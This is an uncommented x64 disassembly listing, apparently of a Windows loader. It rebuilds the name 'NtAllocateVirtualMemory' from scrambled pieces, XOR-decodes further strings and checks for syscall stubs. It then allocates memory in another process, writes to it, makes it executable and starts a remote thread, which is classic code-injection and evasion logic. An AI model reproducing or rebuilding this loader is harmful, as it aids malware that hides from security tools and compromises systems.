lea rax, [rbp + 0x24d0]
lea rdx, [rbp + 0x24f0]
lea r8, [0x1400c33a8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x24b0]
lea rdx, [rbp + 0x24d0]
lea r8, [0x1400c339e]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2490]
lea rdx, [rbp + 0x24b0]
lea r8, [0x1400c33ea]
mov rcx, rax
call fcn.1400bab10
lea rdx, [rbp + 0x2490]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400aaa30
lea rax, [rbp + 0x2490]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x24d0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x24f0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2510]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2530]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2570]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2590]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x25b0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x25d0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2610]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x263f]
mov rcx, rax
call fcn.14009b3a0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2640]
mov rcx, rax
call fcn.1400a9d30
mov r9, qword [rbp + 0x2f28]
mov r8, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f20]
lea rax, [rbp + 0x2640]
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3000]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2f1c], eax
lea rax, [rbp + 0x2640]
mov rcx, rax
call fcn.1400aa9f0
cmp dword [rbp + 0x2f1c], 0
je 0x1400078b8
lea rbx, [0x1400c33b4]
jmp 0x1400078bf
lea rbx, [0x1400c33b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400301f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x28af]
mov qword [rbp + 0x2e78], rax
nop
nop
lea rdx, [rbp + 0x28af]
lea rax, [rbp + 0x2880]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa1d0
lea rax, [rbp + 0x2860]
lea rdx, [rbp + 0x2880]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2840]
lea rdx, [rbp + 0x2860]
lea r8, [0x1400c33ae]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x2840]
lea r8, [0x1400c33a2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2800]
lea rdx, [rbp + 0x2820]
lea r8, [0x1400c33fa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x2800]
lea r8, [0x1400c33a6]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x27c0]
lea rdx, [rbp + 0x27e0]
lea r8, [0x1400c33a8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x27a0]
lea rdx, [rbp + 0x27c0]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2780]
lea rdx, [rbp + 0x27a0]
lea r8, [0x1400c3400]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2760]
lea rdx, [rbp + 0x2780]
lea r8, [0x1400c33ee]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2740]
lea rdx, [rbp + 0x2760]
lea r8, [0x1400c33f8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2720]
lea rdx, [rbp + 0x2740]
lea r8, [0x1400c33e8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2700]
lea rdx, [rbp + 0x2720]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x26e0]
lea rdx, [rbp + 0x2700]
lea r8, [0x1400c33a0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x26c0]
lea rdx, [rbp + 0x26e0]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x26a0]
lea rdx, [rbp + 0x26c0]
lea r8, [0x1400c33a8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2680]
lea rdx, [rbp + 0x26a0]
lea r8, [0x1400c339e]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2660]
lea rdx, [rbp + 0x2680]
lea r8, [0x1400c33ea]
mov rcx, rax
call fcn.1400bab10
lea rdx, [rbp + 0x2660]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400aaa30
lea rax, [rbp + 0x2660]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2680]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x26a0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x26c0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x26e0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2700]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2720]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2740]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2760]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2780]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x27e0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2800]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2820]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2840]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2880]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x28af]
mov rcx, rax
call fcn.14009b3a0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x28b0]
mov rcx, rax
call fcn.1400a9d30
mov r9, qword [rbp + 0x2f28]
mov r8, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f20]
lea rax, [rbp + 0x28b0]
mov rcx, qword [rbp + 0x2f68]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3000]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2f1c], eax
lea rax, [rbp + 0x28b0]
mov rcx, rax
call fcn.1400aa9f0
cmp dword [rbp + 0x2f1c], 0
je 0x140007ca4
lea rbx, [0x1400c33b4]
jmp 0x140007cab
lea rbx, [0x1400c33b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400301f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2b3f]
mov qword [rbp + 0x2e70], rax
nop
nop
lea rdx, [rbp + 0x2b3f]
lea rax, [rbp + 0x2b10]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa1d0
lea rax, [rbp + 0x2af0]
lea rdx, [rbp + 0x2b10]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2af0]
lea r8, [0x1400c33e6]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2ab0]
lea rdx, [rbp + 0x2ad0]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2a90]
lea rdx, [rbp + 0x2ab0]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2a70]
lea rdx, [rbp + 0x2a90]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2a50]
lea rdx, [rbp + 0x2a70]
lea r8, [0x1400c33a6]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2a30]
lea rdx, [rbp + 0x2a50]
lea r8, [0x1400c33a8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2a10]
lea rdx, [rbp + 0x2a30]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x29f0]
lea rdx, [rbp + 0x2a10]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x29d0]
lea rdx, [rbp + 0x29f0]
lea r8, [0x1400c33ac]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x29b0]
lea rdx, [rbp + 0x29d0]
lea r8, [0x1400c33a2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2990]
lea rdx, [rbp + 0x29b0]
lea r8, [0x1400c339c]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2970]
lea rdx, [rbp + 0x2990]
lea r8, [0x1400c33ae]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2950]
lea rdx, [rbp + 0x2970]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2930]
lea rdx, [rbp + 0x2950]
lea r8, [0x1400c33b0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2910]
lea rdx, [rbp + 0x2930]
lea r8, [0x1400c339e]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x28f0]
lea rdx, [rbp + 0x2910]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x28d0]
lea rdx, [rbp + 0x28f0]
lea r8, [0x1400c33b2]
mov rcx, rax
call fcn.1400bab10
lea rdx, [rbp + 0x28d0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400aaa30
lea rax, [rbp + 0x28d0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x28f0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2910]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2930]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2950]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2970]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2990]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x29b0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x29d0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x29f0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2a10]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2a30]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2a70]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2a90]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2ab0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2ad0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2af0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2b10]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2b3f]
mov rcx, rax
call fcn.14009b3a0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2b40]
mov rcx, rax
call fcn.1400a9d30
mov r9, qword [rbp + 0x2f28]
mov r8, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f20]
lea rax, [rbp + 0x2b40]
mov rcx, qword [rbp + 0x2f60]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3000]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2f1c], eax
lea rax, [rbp + 0x2b40]
mov rcx, rax
call fcn.1400aa9f0
cmp dword [rbp + 0x2f1c], 0
je 0x1400080bc
lea rbx, [0x1400c33b4]
jmp 0x1400080c3
lea rbx, [0x1400c33b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400301f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, section..data
mov rcx, rax
call fcn.140001e3e
mov dword [rbp + 0x2f18], 0xffffffff
cmp dword [rbp + 0x2f18], 0
jne 0x140008115
lea rax, [0x1400c3402]
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2b63]
lea rdx, [rbp + 0x2b70]
mov rcx, rax
call fcn.140001f58
lea rax, [rbp + 0x2b63]
mov qword [rbp + 0x2e68], rax
mov rax, qword [rbp + 0x2e68]
mov qword [rbp + 0x2e60], rax
mov rax, qword [rbp + 0x2e60]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x1400081f0
mov rax, qword [rbp + 0x2e68]
mov rdx, qword [rbp + 0x2e68]
mov qword [rbp + 0x2e58], rdx
mov qword [rbp + 0x2e50], rax
mov dword [rbp + 0x2e4c], 0
jmp 0x1400081e6
mov eax, dword [rbp + 0x2e4c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2e50]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2e4c]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2e58]
mov eax, dword [rbp + 0x2e4c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2e4c], 1
cmp dword [rbp + 0x2e4c], 0xc
jle 0x140008187
nop
lea rax, [rbp + 0x2b63]
mov rcx, rax
call fcn.140001827
mov qword [rbp + 0x2f10], rax
cmp qword [rbp + 0x2f10], 0xffffffffffffffff
jne 0x14000821f
mov esi, 0
mov ebx, 0
jmp 0x1400089fc
lea rax, [rbp + 0x2b71]
lea rdx, [rbp + 0x2b7e]
mov rcx, rax
call fcn.140001fd2
lea rax, [rbp + 0x2b71]
mov qword [rbp + 0x2e40], rax
mov rax, qword [rbp + 0x2e40]
mov qword [rbp + 0x2e38], rax
mov rax, qword [rbp + 0x2e38]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x1400082fa
mov rax, qword [rbp + 0x2e40]
mov rdx, qword [rbp + 0x2e40]
mov qword [rbp + 0x2e30], rdx
mov qword [rbp + 0x2e28], rax
mov dword [rbp + 0x2e24], 0
jmp 0x1400082f0
mov eax, dword [rbp + 0x2e24]
movsxd rdx, eax
mov rax, qword [rbp + 0x2e28]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2e24]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2e30]
mov eax, dword [rbp + 0x2e24]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2e24], 1
cmp dword [rbp + 0x2e24], 0xc
jle 0x140008291
nop
lea rdx, [rbp + 0x2b71]
lea rax, [rbp + 0x10]
mov rcx, qword [rbp + 0x2f10]
mov r8, rcx
mov rcx, rax
call fcn.1400019e7
mov rax, qword [rbp + 0x10]
cmp rax, 0xffffffffffffffff
je 0x14000832b
mov rax, qword [rbp + 0x18]
cmp rax, 0xffffffffffffffff
jne 0x14000833a
mov esi, 0
mov ebx, 0
jmp 0x1400089fc
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2f08], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x2f00], rax
mov r10, qword [0x1400f0038]
lea rcx, [rbp + 0x60]
lea rdx, [rbp + 0x70]
mov rax, qword [rbp + 0x2f08]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x2f18], eax
cmp dword [rbp + 0x2f18], 0
je 0x14000843d
lea rax, [rbp + 0x2b80]
lea rdx, [rbp + 0x2b7f]
mov rcx, rax
call fcn.14000204c
mov rax, qword [rbp + 0x2b80]
mov rdx, qword [rbp + 0x2b88]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2b90]
mov rdx, qword [rbp + 0x2b98]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2ba0]
mov rdx, qword [rbp + 0x2ba8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2bb0]
mov rdx, qword [rbp + 0x2bb8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2bbc]
mov rdx, qword [rbp + 0x2bc4]
mov qword [rbp - 4], rax
mov qword [rbp + 4], rdx
mov edx, dword [rbp + 0x2f18]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001f810
mov esi, 0
mov ebx, 0
jmp 0x1400089fc
lea rax, [rbp + 0x2bd0]
lea rdx, [rbp + 0x2bcf]
mov rcx, rax
call fcn.1400022be
mov rax, qword [rbp + 0x2bd0]
mov rdx, qword [rbp + 0x2bd8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2be0]
mov rdx, qword [rbp + 0x2be8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2bf0]
mov rdx, qword [rbp + 0x2bf8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2c00]
mov rdx, qword [rbp + 0x2c08]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2c09]
mov rdx, qword [rbp + 0x2c11]
mov qword [rbp - 7], rax
mov qword [rbp + 1], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001f5a0
mov r10, qword [0x1400f0040]
mov r9, qword [0x1400bf168]
mov r8, qword [0x1400f0030]
mov rdx, qword [rbp + 0x70]
mov rax, qword [rbp + 0x2f08]
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x2f18], eax
cmp dword [rbp + 0x2f18], 0
je 0x1400085b4
lea rax, [rbp + 0x2c20]
lea rdx, [rbp + 0x2c1f]
mov rcx, rax
call fcn.140002518
mov rax, qword [rbp + 0x2c20]
mov rdx, qword [rbp + 0x2c28]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2c30]
mov rdx, qword [rbp + 0x2c38]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2c40]
mov rdx, qword [rbp + 0x2c48]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c58]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2c5a]
mov rdx, qword [rbp + 0x2c62]
mov qword [rbp - 6], rax
mov qword [rbp + 2], rdx
mov edx, dword [rbp + 0x2f18]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001f670
mov esi, 0
mov ebx, 0
jmp 0x1400089fc
lea rax, [rbp + 0x2c70]
lea rdx, [rbp + 0x2c6f]
mov rcx, rax
call fcn.14000277a
mov rax, qword [rbp + 0x2c70]
mov rdx, qword [rbp + 0x2c78]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2c80]
mov rdx, qword [rbp + 0x2c88]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2c90]
mov rdx, qword [rbp + 0x2c98]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2ca0]
mov rdx, qword [rbp + 0x2ca8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2cac]
mov rdx, qword [rbp + 0x2cb4]
mov qword [rbp - 4], rax
mov qword [rbp + 4], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001f740
mov r10, qword [0x1400f0048]
lea rdx, [rbp + 0x70]
mov rax, qword [rbp + 0x2f08]
lea rcx, [rbp + 0x7c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
lea r8, [0x1400bf168]
mov rcx, rax
call r10
mov dword [rbp + 0x2f18], eax
cmp dword [rbp + 0x2f18], 0
je 0x140008707
lea rax, [rbp + 0x2cc0]
lea rdx, [rbp + 0x2cbf]
mov rcx, rax
call fcn.1400029ec
mov rax, qword [rbp + 0x2cc0]
mov rdx, qword [rbp + 0x2cc8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2cd8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2ce8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov eax, dword [rbp + 0x2cef]
mov dword [rbp - 0x11], eax
mov edx, dword [rbp + 0x2f18]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001f260
mov esi, 0
mov ebx, 0
jmp 0x1400089fc
lea rax, [rbp + 0x2d00]
lea rdx, [rbp + 0x2cff]
mov rcx, rax
call fcn.140002b96
mov rax, qword [rbp + 0x2d00]
mov rdx, qword [rbp + 0x2d08]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2d10]
mov rdx, qword [rbp + 0x2d18]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2d20]
mov rdx, qword [rbp + 0x2d28]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2d2f]
mov qword [rbp - 0x11], rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001f330
mov r10, qword [0x1400f0088]
mov rax, qword [rbp + 0x70]
mov rdx, rax
mov rax, qword [rbp + 0x2f00]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x2f18], eax
cmp dword [rbp + 0x2f18], 0
je 0x140008848
lea rax, [rbp + 0x2d40]
lea rdx, [rbp + 0x2d3f]
mov rcx, rax
call fcn.140002d60
mov rax, qword [rbp + 0x2d40]
mov rdx, qword [rbp + 0x2d48]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d58]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2d60]
mov rdx, qword [rbp + 0x2d68]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2d69]
mov rdx, qword [rbp + 0x2d71]
mov qword [rbp - 0x17], rax
mov qword [rbp - 0xf], rdx
mov edx, dword [rbp + 0x2f18]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001f400
mov esi, 0
mov ebx, 0
jmp 0x1400089fc
lea rax, [rbp + 0x2d80]
lea rdx, [rbp + 0x2d7f]
mov rcx, rax
call fcn.140002f3a
mov rax, qword [rbp + 0x2d80]
mov rdx, qword [rbp + 0x2d88]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2d90]
mov rdx, qword [rbp + 0x2d98]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2da0]
mov rdx, qword [rbp + 0x2da8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2dad]
mov rdx, qword [rbp + 0x2db5]
mov qword [rbp - 0x13], rax
mov qword [rbp - 0xb], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001f4d0
mov r8, qword [0x1400f0090]
mov rax, qword [rbp + 0x2f00]
mov edx, 0
mov rcx, rax
call r8
mov dword [rbp + 0x2f18], eax
cmp dword [rbp + 0x2f18], 0
je 0x140008963
lea rax, [rbp + 0x2dc0]
lea rdx, [rbp + 0x2dbf]
mov rcx, rax
call fcn.140003134
mov rax, qword [rbp + 0x2dc0]
mov rdx, qword [rbp + 0x2dc8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2dd0]
mov rdx, qword [rbp + 0x2dd8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2dde]
mov rdx, qword [rbp + 0x2de6]
mov qword [rbp - 0x22], rax
mov qword [rbp - 0x1a], rdx
mov edx, dword [rbp + 0x2f18]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001f0c0
mov esi, 0
mov ebx, 0
jmp 0x1400089fc
lea rax, [rbp + 0x2df0]
lea rdx, [rbp + 0x2def]
mov rcx, rax
call fcn.1400032b6
mov rax, qword [rbp + 0x2df0]
mov rdx, qword [rbp + 0x2df8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2e00]
mov rdx, qword [rbp + 0x2e08]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2e10]
mov rdx, qword [rbp + 0x2e18]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movzx eax, byte [rbp + 0x2e20]
mov byte [rbp - 0x10], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001f190
mov rdx, qword [0x1400f0078]
mov rax, qword [rbp + 0x2f08]
mov rcx, rax
call rdx
mov rdx, qword [0x1400f0078]
mov rax, qword [rbp + 0x2f00]
mov rcx, rax
call rdx
mov ebx, 1
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400aa9f0
cmp ebx, 1
jne 0x140008a12
mov esi, 0
mov eax, esi
jmp 0x14000a342
add rsp, 0x3090
pop rbx
pop rsi
pop rbp
ret